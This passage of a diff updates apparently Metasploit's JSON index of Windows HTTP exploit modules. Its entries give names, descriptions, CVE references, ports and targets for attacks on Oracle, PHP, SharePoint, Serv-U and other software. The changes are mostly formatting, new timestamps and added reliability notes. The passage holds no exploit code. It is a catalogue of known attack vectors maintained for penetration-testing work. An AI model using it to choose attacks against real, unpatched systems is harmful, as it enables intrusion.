"/modules/exploits/windows/http/oracle_endeca_exec.rb", "is_install_path": true, "ref_name": "windows/http/oracle_endeca_exec", "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/oracle_event_processing_upload": { "name": "Oracle Event Processing FileUploadServlet Arbitrary File Upload", "fullname": "exploit/windows/http/oracle_event_processing_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-04-21", "type": "exploit", @@ -172610,7 +177463,7 @@ "rgod ", "juan vazquez " ], - "description": "This module exploits an arbitrary file upload vulnerability in Oracle Event Processing\n 11.1.1.7.0. The FileUploadServlet component, which requires no authentication, can be\n abused to upload a malicious file onto an arbitrary location due to a directory traversal\n flaw, and compromise the server. By default Oracle Event Processing uses a Jetty\n Application Server without JSP support, which limits the attack to WbemExec. The current\n WbemExec technique only requires arbitrary write to the file system, but at the moment the\n module only supports Windows 2003 SP2 or older.", + "description": "This module exploits an arbitrary file upload vulnerability in Oracle Event Processing\n 11.1.1.7.0. The FileUploadServlet component, which requires no authentication, can be\n abused to upload a malicious file onto an arbitrary location due to a directory traversal\n flaw, and compromise the server. By default Oracle Event Processing uses a Jetty\n Application Server without JSP support, which limits the attack to WbemExec. The current\n WbemExec technique only requires arbitrary write to the file system, but at the moment the\n module only supports Windows 2003 SP2 or older.", "references": [ "CVE-2014-2424", "ZDI-14-106", @@ -172638,7 +177491,7 @@ "targets": [ "Oracle Event Processing 11.1.1.7.0 / Windows 2003 SP2 through WMI" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/oracle_event_processing_upload.rb", "is_install_path": true, "ref_name": "windows/http/oracle_event_processing_upload", @@ -172646,6 +177499,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -172653,16 +177515,14 @@ "exploit_windows/http/osb_uname_jlist": { "name": "Oracle Secure Backup Authentication Bypass/Command Injection Vulnerability", "fullname": "exploit/windows/http/osb_uname_jlist", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-07-13", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits an authentication bypass vulnerability\n in login.php. In conjunction with the authentication bypass issue,\n the 'jlist' parameter in property_box.php can be used to execute\n arbitrary system commands.\n This module was tested against Oracle Secure Backup version 10.3.0.1.0", + "description": "This module exploits an authentication bypass vulnerability\n in login.php. In conjunction with the authentication bypass issue,\n the 'jlist' parameter in property_box.php can be used to execute\n arbitrary system commands.\n This module was tested against Oracle Secure Backup version 10.3.0.1.0", "references": [ "CVE-2010-0904", "OSVDB-66338", @@ -172689,7 +177549,7 @@ "targets": [ "Windows Universal" ], - "mod_time": "2022-06-29 19:10:52 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/osb_uname_jlist.rb", "is_install_path": true, "ref_name": "windows/http/osb_uname_jlist", @@ -172697,6 +177557,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -172704,16 +177573,14 @@ "exploit_windows/http/peercast_url": { "name": "PeerCast URL Handling Buffer Overflow", "fullname": "exploit/windows/http/peercast_url", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-03-08", "type": "exploit", "author": [ "hdm " ], - "description": "This module exploits a stack buffer overflow in PeerCast <= v0.1216.\n The vulnerability is caused due to a boundary error within the\n handling of URL parameters.", + "description": "This module exploits a stack buffer overflow in PeerCast <= v0.1216.\n The vulnerability is caused due to a boundary error within the\n handling of URL parameters.", "references": [ "CVE-2006-1148", "OSVDB-23777", @@ -172722,12 +177589,8 @@ "platform": "Windows", "arch": "", "rport": 7144, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows 2000 English SP0-SP4", @@ -172735,7 +177598,7 @@ "Windows XP English SP0/SP1", "Windows XP English SP0/SP2" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/peercast_url.rb", "is_install_path": true, "ref_name": "windows/http/peercast_url", @@ -172743,6 +177606,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -172750,9 +177622,7 @@ "exploit_windows/http/pgadmin_binary_path_api": { "name": "pgAdmin Binary Path API RCE", "fullname": "exploit/windows/http/pgadmin_binary_path_api", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-03-28", "type": "exploit", @@ -172788,7 +177658,7 @@ "targets": [ "Automatic Target" ], - "mod_time": "2024-08-28 18:46:08 +0000", + "mod_time": "2025-04-11 15:55:46 +0000", "path": "/modules/exploits/windows/http/pgadmin_binary_path_api.rb", "is_install_path": true, "ref_name": "windows/http/pgadmin_binary_path_api", @@ -172814,9 +177684,7 @@ "exploit_windows/http/php_apache_request_headers_bof": { "name": "PHP apache_request_headers Function Buffer Overflow", "fullname": "exploit/windows/http/php_apache_request_headers_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-05-08", "type": "exploit", @@ -172824,7 +177692,7 @@ "Vincent Danen", "juan vazquez " ], - "description": "This module exploits a stack based buffer overflow in the CGI version of PHP\n 5.4.x before 5.4.3. The vulnerability is due to the insecure handling of the\n HTTP headers.\n\n This module has been tested against the thread safe version of PHP 5.4.2,\n from \"windows.php.net\", running with Apache 2.2.22 from \"apachelounge.com\".", + "description": "This module exploits a stack based buffer overflow in the CGI version of PHP\n 5.4.x before 5.4.3. The vulnerability is due to the insecure handling of the\n HTTP headers.\n\n This module has been tested against the thread safe version of PHP 5.4.2,\n from \"windows.php.net\", running with Apache 2.2.22 from \"apachelounge.com\".", "references": [ "CVE-2012-2329", "OSVDB-82215", @@ -172854,7 +177722,7 @@ "targets": [ "Windows XP SP3 / Windows 2003 Server SP2 (No DEP) / PHP 5.4.2 Thread safe" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/php_apache_request_headers_bof.rb", "is_install_path": true, "ref_name": "windows/http/php_apache_request_headers_bof", @@ -172862,6 +177730,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -172869,9 +177746,7 @@ "exploit_windows/http/php_cgi_arg_injection_rce_cve_2024_4577": { "name": "PHP CGI Argument Injection Remote Code Execution", "fullname": "exploit/windows/http/php_cgi_arg_injection_rce_cve_2024_4577", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-06-06", "type": "exploit", @@ -172932,9 +177807,7 @@ "exploit_windows/http/plesk_mylittleadmin_viewstate": { "name": "Plesk/myLittleAdmin ViewState .NET Deserialization", "fullname": "exploit/windows/http/plesk_mylittleadmin_viewstate", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-05-15", "type": "exploit", @@ -172996,9 +177869,7 @@ "exploit_windows/http/plex_unpickle_dict_rce": { "name": "Plex Unpickle Dict Windows RCE", "fullname": "exploit/windows/http/plex_unpickle_dict_rce", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-05-07", "type": "exploit", @@ -173061,16 +177932,14 @@ "exploit_windows/http/privatewire_gateway": { "name": "Private Wire Gateway Buffer Overflow", "fullname": "exploit/windows/http/privatewire_gateway", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-06-26", "type": "exploit", "author": [ "Michael Thumann " ], - "description": "This exploits a buffer overflow in the ADMCREG.EXE used\n in the PrivateWire Online Registration Facility.", + "description": "This exploits a buffer overflow in the ADMCREG.EXE used\n in the PrivateWire Online Registration Facility.", "references": [ "CVE-2006-3252", "OSVDB-26861", @@ -173103,7 +177972,7 @@ "Windows 2003 English SP0/SP1", "Debugging" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/privatewire_gateway.rb", "is_install_path": true, "ref_name": "windows/http/privatewire_gateway", @@ -173111,6 +177980,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -173118,9 +177996,7 @@ "exploit_windows/http/prtg_authenticated_rce": { "name": "PRTG Network Monitor Authenticated RCE", "fullname": "exploit/windows/http/prtg_authenticated_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-06-25", "type": "exploit", @@ -173180,9 +178056,7 @@ "exploit_windows/http/prtg_authenticated_rce_cve_2023_32781": { "name": "PRTG CVE-2023-32781 Authenticated RCE", "fullname": "exploit/windows/http/prtg_authenticated_rce_cve_2023_32781", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-08-09", "type": "exploit", @@ -173241,16 +178115,14 @@ "exploit_windows/http/psoproxy91_overflow": { "name": "PSO Proxy v0.91 Stack Buffer Overflow", "fullname": "exploit/windows/http/psoproxy91_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2004-02-20", "type": "exploit", "author": [ "aushack " ], - "description": "This module exploits a buffer overflow in the PSO Proxy v0.91 web server.\n If a client sends an excessively long string the stack is overwritten.", + "description": "This module exploits a buffer overflow in the PSO Proxy v0.91 web server.\n If a client sends an excessively long string the stack is overwritten.", "references": [ "CVE-2004-0313", "OSVDB-4028", @@ -173260,12 +178132,8 @@ "platform": "Windows", "arch": "", "rport": 8080, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows 2000 Pro SP0-4 English", @@ -173274,7 +178142,7 @@ "Windows XP Pro SP0/1 English", "Windows XP Pro SP2 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/psoproxy91_overflow.rb", "is_install_path": true, "ref_name": "windows/http/psoproxy91_overflow", @@ -173282,6 +178150,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -173289,9 +178166,7 @@ "exploit_windows/http/rabidhamster_r4_log": { "name": "RabidHamster R4 Log Entry sprintf() Buffer Overflow", "fullname": "exploit/windows/http/rabidhamster_r4_log", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-02-09", "type": "exploit", @@ -173299,7 +178174,7 @@ "Luigi Auriemma", "sinn3r " ], - "description": "This module exploits a vulnerability found in RabidHamster R4's web server.\n By supplying a malformed HTTP request, it is possible to trigger a stack-based\n buffer overflow when generating a log, which may result in arbitrary code\n execution under the context of the user.", + "description": "This module exploits a vulnerability found in RabidHamster R4's web server.\n By supplying a malformed HTTP request, it is possible to trigger a stack-based\n buffer overflow when generating a log, which may result in arbitrary code\n execution under the context of the user.", "references": [ "OSVDB-79007", "URL-http://aluigi.altervista.org/adv/r4_1-adv.txt" @@ -173325,7 +178200,7 @@ "targets": [ "R4 v1.25" ], - "mod_time": "2023-03-23 10:19:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/rabidhamster_r4_log.rb", "is_install_path": true, "ref_name": "windows/http/rabidhamster_r4_log", @@ -173333,6 +178208,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -173340,9 +178224,7 @@ "exploit_windows/http/rejetto_hfs_exec": { "name": "Rejetto HttpFileServer Remote Command Execution", "fullname": "exploit/windows/http/rejetto_hfs_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-09-11", "type": "exploit", @@ -173350,7 +178232,7 @@ "Daniele Linguaglossa ", "Muhamad Fadzil Ramli " ], - "description": "Rejetto HttpFileServer (HFS) is vulnerable to remote command execution attack due to a\n poor regex in the file ParserLib.pas. This module exploits the HFS scripting commands by\n using '%00' to bypass the filtering. This module has been tested successfully on HFS 2.3b\n over Windows XP SP3, Windows 7 SP1 and Windows 8.", + "description": "Rejetto HttpFileServer (HFS) is vulnerable to remote command execution attack due to a\n poor regex in the file ParserLib.pas. This module exploits the HFS scripting commands by\n using '%00' to bypass the filtering. This module has been tested successfully on HFS 2.3b\n over Windows XP SP3, Windows 7 SP1 and Windows 8.", "references": [ "CVE-2014-6287", "OSVDB-111386", @@ -173378,7 +178260,7 @@ "targets": [ "Automatic" ], - "mod_time": "2021-05-09 12:40:48 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/rejetto_hfs_exec.rb", "is_install_path": true, "ref_name": "windows/http/rejetto_hfs_exec", @@ -173386,6 +178268,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -173393,9 +178284,7 @@ "exploit_windows/http/rejetto_hfs_rce_cve_2024_23692": { "name": "Rejetto HTTP File Server (HFS) Unauthenticated Remote Code Execution", "fullname": "exploit/windows/http/rejetto_hfs_rce_cve_2024_23692", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-05-25", "type": "exploit", @@ -173454,9 +178343,7 @@ "exploit_windows/http/sambar6_search_results": { "name": "Sambar 6 Search Results Buffer Overflow", "fullname": "exploit/windows/http/sambar6_search_results", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2003-06-21", "type": "exploit", @@ -173465,7 +178352,7 @@ "Andrew Griffiths ", "aushack " ], - "description": "This module exploits a buffer overflow found in the\n /search/results.stm application that comes with Sambar 6.\n This code is a direct port of Andrew Griffiths's SMUDGE\n exploit, the only changes made were to the nops and payload.\n This exploit causes the service to die, whether you provided\n the correct target or not.", + "description": "This module exploits a buffer overflow found in the\n /search/results.stm application that comes with Sambar 6.\n This code is a direct port of Andrew Griffiths's SMUDGE\n exploit, the only changes made were to the nops and payload.\n This exploit causes the service to die, whether you provided\n the correct target or not.", "references": [ "CVE-2004-2086", "OSVDB-5786", @@ -173474,18 +178361,14 @@ "platform": "Windows", "arch": "x86", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows 2000", "Windows XP" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/sambar6_search_results.rb", "is_install_path": true, "ref_name": "windows/http/sambar6_search_results", @@ -173493,6 +178376,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -173500,9 +178392,7 @@ "exploit_windows/http/sap_configservlet_exec_noauth": { "name": "SAP ConfigServlet Remote Code Execution", "fullname": "exploit/windows/http/sap_configservlet_exec_noauth", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2012-11-01", "type": "exploit", @@ -173510,7 +178400,7 @@ "Dmitry Chastuhin", "Andras Kabai" ], - "description": "This module allows remote code execution via operating system commands through the\n SAP ConfigServlet without any authentication. This module has been tested successfully\n with SAP NetWeaver 7.00 and 7.01 on Windows Server 2008 R2.", + "description": "This module allows remote code execution via operating system commands through the\n SAP ConfigServlet without any authentication. This module has been tested successfully\n with SAP NetWeaver 7.00 and 7.01 on Windows Server 2008 R2.", "references": [ "OSVDB-92704", "EDB-24996", @@ -173537,7 +178427,7 @@ "targets": [ "Windows generic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb", "is_install_path": true, "ref_name": "windows/http/sap_configservlet_exec_noauth", @@ -173545,6 +178435,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -173552,9 +178451,7 @@ "exploit_windows/http/sap_host_control_cmd_exec": { "name": "SAP NetWeaver HostControl Command Injection", "fullname": "exploit/windows/http/sap_host_control_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2012-08-14", "type": "exploit", @@ -173589,31 +178486,28 @@ "targets": [ "SAP NetWeaver 7.02 SP6 / Windows with WebClient enabled" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/exploits/windows/http/sap_host_control_cmd_exec.rb", "is_install_path": true, "ref_name": "windows/http/sap_host_control_cmd_exec", "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/sapdb_webtools": { "name": "SAP DB 7.4 WebTools Buffer Overflow", "fullname": "exploit/windows/http/sapdb_webtools", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2007-07-05", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in SAP DB 7.4 WebTools.\n By sending an overly long GET request, it may be possible for\n an attacker to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in SAP DB 7.4 WebTools.\n By sending an overly long GET request, it may be possible for\n an attacker to execute arbitrary code.", "references": [ "CVE-2007-3614", "OSVDB-37838", @@ -173640,7 +178534,7 @@ "targets": [ "SAP DB 7.4 WebTools" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/sapdb_webtools.rb", "is_install_path": true, "ref_name": "windows/http/sapdb_webtools", @@ -173648,6 +178542,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -173655,16 +178558,14 @@ "exploit_windows/http/savant_31_overflow": { "name": "Savant 3.1 Web Server Overflow", "fullname": "exploit/windows/http/savant_31_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2002-09-10", "type": "exploit", "author": [ "aushack " ], - "description": "This module exploits a stack buffer overflow in Savant 3.1 Web Server. The service\n supports a maximum of 10 threads (for a default install). Each exploit attempt\n generally causes a thread to die whether successful or not. Therefore, in a default\n configuration, you only have 10 chances.\n\n Due to the limited space available for the payload in this exploit module, use of the\n \"ord\" payloads is recommended.", + "description": "This module exploits a stack buffer overflow in Savant 3.1 Web Server. The service\n supports a maximum of 10 threads (for a default install). Each exploit attempt\n generally causes a thread to die whether successful or not. Therefore, in a default\n configuration, you only have 10 chances.\n\n Due to the limited space available for the payload in this exploit module, use of the\n \"ord\" payloads is recommended.", "references": [ "CVE-2002-1120", "OSVDB-9829", @@ -173696,7 +178597,7 @@ "Windows 2000 Pro All - French", "Windows XP Pro SP2 - English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/savant_31_overflow.rb", "is_install_path": true, "ref_name": "windows/http/savant_31_overflow", @@ -173704,6 +178605,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -173711,9 +178621,7 @@ "exploit_windows/http/sepm_auth_bypass_rce": { "name": "Symantec Endpoint Protection Manager Authentication Bypass and Code Execution", "fullname": "exploit/windows/http/sepm_auth_bypass_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-07-31", "type": "exploit", @@ -173721,7 +178629,7 @@ "Markus Wulftange", "bperry" ], - "description": "This module exploits three separate vulnerabilities in Symantec Endpoint Protection Manager\n in order to achieve a remote shell on the box as NT AUTHORITY\\SYSTEM. The vulnerabilities\n include an authentication bypass, a directory traversal and a privilege escalation to\n get privileged code execution.", + "description": "This module exploits three separate vulnerabilities in Symantec Endpoint Protection Manager\n in order to achieve a remote shell on the box as NT AUTHORITY\\SYSTEM. The vulnerabilities\n include an authentication bypass, a directory traversal and a privilege escalation to\n get privileged code execution.", "references": [ "CVE-2015-1486", "CVE-2015-1487", @@ -173749,7 +178657,7 @@ "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/sepm_auth_bypass_rce.rb", "is_install_path": true, "ref_name": "windows/http/sepm_auth_bypass_rce", @@ -173757,6 +178665,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -173764,9 +178681,7 @@ "exploit_windows/http/serviio_checkstreamurl_cmd_exec": { "name": "Serviio Media Server checkStreamUrl Command Execution", "fullname": "exploit/windows/http/serviio_checkstreamurl_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-05-03", "type": "exploit", @@ -173774,7 +178689,7 @@ "Gjoko Krstic(LiquidWorm) ", "bcoles " ], - "description": "This module exploits an unauthenticated remote command execution vulnerability\n in the console component of Serviio Media Server versions 1.4 to 1.8 on\n Windows operating systems.\n\n The console service (on port 23423 by default) exposes a REST API which\n which does not require authentication.\n\n The 'action' API endpoint does not sufficiently sanitize user-supplied data\n in the 'VIDEO' parameter of the 'checkStreamUrl' method. This parameter is\n used in a call to cmd.exe resulting in execution of arbitrary commands.\n\n This module has been tested successfully on Serviio Media Server versions\n 1.4.0, 1.5.0, 1.6.0 and 1.8.0 on Windows 7.", + "description": "This module exploits an unauthenticated remote command execution vulnerability\n in the console component of Serviio Media Server versions 1.4 to 1.8 on\n Windows operating systems.\n\n The console service (on port 23423 by default) exposes a REST API which\n which does not require authentication.\n\n The 'action' API endpoint does not sufficiently sanitize user-supplied data\n in the 'VIDEO' parameter of the 'checkStreamUrl' method. This parameter is\n used in a call to cmd.exe resulting in execution of arbitrary commands.\n\n This module has been tested successfully on Serviio Media Server versions\n 1.4.0, 1.5.0, 1.6.0 and 1.8.0 on Windows 7.", "references": [ "OSVDB-41961", "PACKETSTORM-142387", @@ -173802,7 +178717,7 @@ "targets": [ "Automatic Targeting" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/serviio_checkstreamurl_cmd_exec.rb", "is_install_path": true, "ref_name": "windows/http/serviio_checkstreamurl_cmd_exec", @@ -173810,6 +178725,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -173817,9 +178741,7 @@ "exploit_windows/http/servu_session_cookie": { "name": "Rhinosoft Serv-U Session Cookie Buffer Overflow", "fullname": "exploit/windows/http/servu_session_cookie", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-11-01", "type": "exploit", @@ -173828,7 +178750,7 @@ "M.Yanagishita ", "jduck " ], - "description": "This module exploits a buffer overflow in Rhinosoft Serv-U 9.0.0.5.\n Sending a specially crafted POST request with an overly long session cookie\n string, an attacker may be able to execute arbitrary code.", + "description": "This module exploits a buffer overflow in Rhinosoft Serv-U 9.0.0.5.\n Sending a specially crafted POST request with an overly long session cookie\n string, an attacker may be able to execute arbitrary code.", "references": [ "CVE-2009-4006", "OSVDB-59772", @@ -173837,17 +178759,13 @@ "platform": "Windows", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2003 SP2 English (NX)", "Windows 2000 SP4 and XP SP3 English (SEH)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/servu_session_cookie.rb", "is_install_path": true, "ref_name": "windows/http/servu_session_cookie", @@ -173855,6 +178773,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -173862,9 +178789,7 @@ "exploit_windows/http/sharepoint_data_deserialization": { "name": "SharePoint DataSet / DataTable Deserialization", "fullname": "exploit/windows/http/sharepoint_data_deserialization", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-07-14", "type": "exploit", @@ -173926,9 +178851,7 @@ "exploit_windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce": { "name": "Sharepoint Dynamic Proxy Generator Unauth RCE", "fullname": "exploit/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-05-01", "type": "exploit", @@ -173989,9 +178912,7 @@ "exploit_windows/http/sharepoint_ssi_viewstate": { "name": "Microsoft SharePoint Server-Side Include and ViewState RCE", "fullname": "exploit/windows/http/sharepoint_ssi_viewstate", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-10-13", "type": "exploit", @@ -174055,9 +178976,7 @@ "exploit_windows/http/sharepoint_unsafe_control": { "name": "Microsoft SharePoint Unsafe Control and ViewState RCE", "fullname": "exploit/windows/http/sharepoint_unsafe_control", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-05-11", "type": "exploit", @@ -174120,9 +179039,7 @@ "exploit_windows/http/sharepoint_workflows_xoml": { "name": "SharePoint Workflows XOML Injection", "fullname": "exploit/windows/http/sharepoint_workflows_xoml", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-03-02", "type": "exploit", @@ -174183,9 +179100,7 @@ "exploit_windows/http/shoutcast_format": { "name": "SHOUTcast DNAS/win32 1.9.4 File Request Format String Overflow", "fullname": "exploit/windows/http/shoutcast_format", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2004-12-23", "type": "exploit", @@ -174193,7 +179108,7 @@ "MC ", "mandragore " ], - "description": "This module exploits a format string vulnerability in the\n Nullsoft SHOUTcast server for Windows. The vulnerability is\n triggered by requesting a file path that contains format\n string specifiers. This vulnerability was discovered by\n Tomasz Trojanowski and Damian Put.", + "description": "This module exploits a format string vulnerability in the\n Nullsoft SHOUTcast server for Windows. The vulnerability is\n triggered by requesting a file path that contains format\n string specifiers. This vulnerability was discovered by\n Tomasz Trojanowski and Damian Put.", "references": [ "CVE-2004-1373", "OSVDB-12585", @@ -174224,7 +179139,7 @@ "Windows XP Pro SP0/SP1 English", "Windows 2003 Server English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/shoutcast_format.rb", "is_install_path": true, "ref_name": "windows/http/shoutcast_format", @@ -174232,6 +179147,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -174239,9 +179163,7 @@ "exploit_windows/http/shttpd_post": { "name": "SHTTPD URI-Encoded POST Request Overflow", "fullname": "exploit/windows/http/shttpd_post", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-10-06", "type": "exploit", @@ -174250,7 +179172,7 @@ "hdm ", "skOd" ], - "description": "This module exploits a stack buffer overflow in SHTTPD <= 1.34.\n The vulnerability is caused due to a boundary error within the\n handling of POST requests. Based on an original exploit by skOd\n but using a different method found by hdm.", + "description": "This module exploits a stack buffer overflow in SHTTPD <= 1.34.\n The vulnerability is caused due to a boundary error within the\n handling of POST requests. Based on an original exploit by skOd\n but using a different method found by hdm.", "references": [ "CVE-2006-5216", "OSVDB-29565", @@ -174260,12 +179182,8 @@ "platform": "Windows", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows NT English SP5-SP6", @@ -174279,7 +179197,7 @@ "Windows XP English SP2", "Windows XP English SP0-SP1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/shttpd_post.rb", "is_install_path": true, "ref_name": "windows/http/shttpd_post", @@ -174287,6 +179205,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": 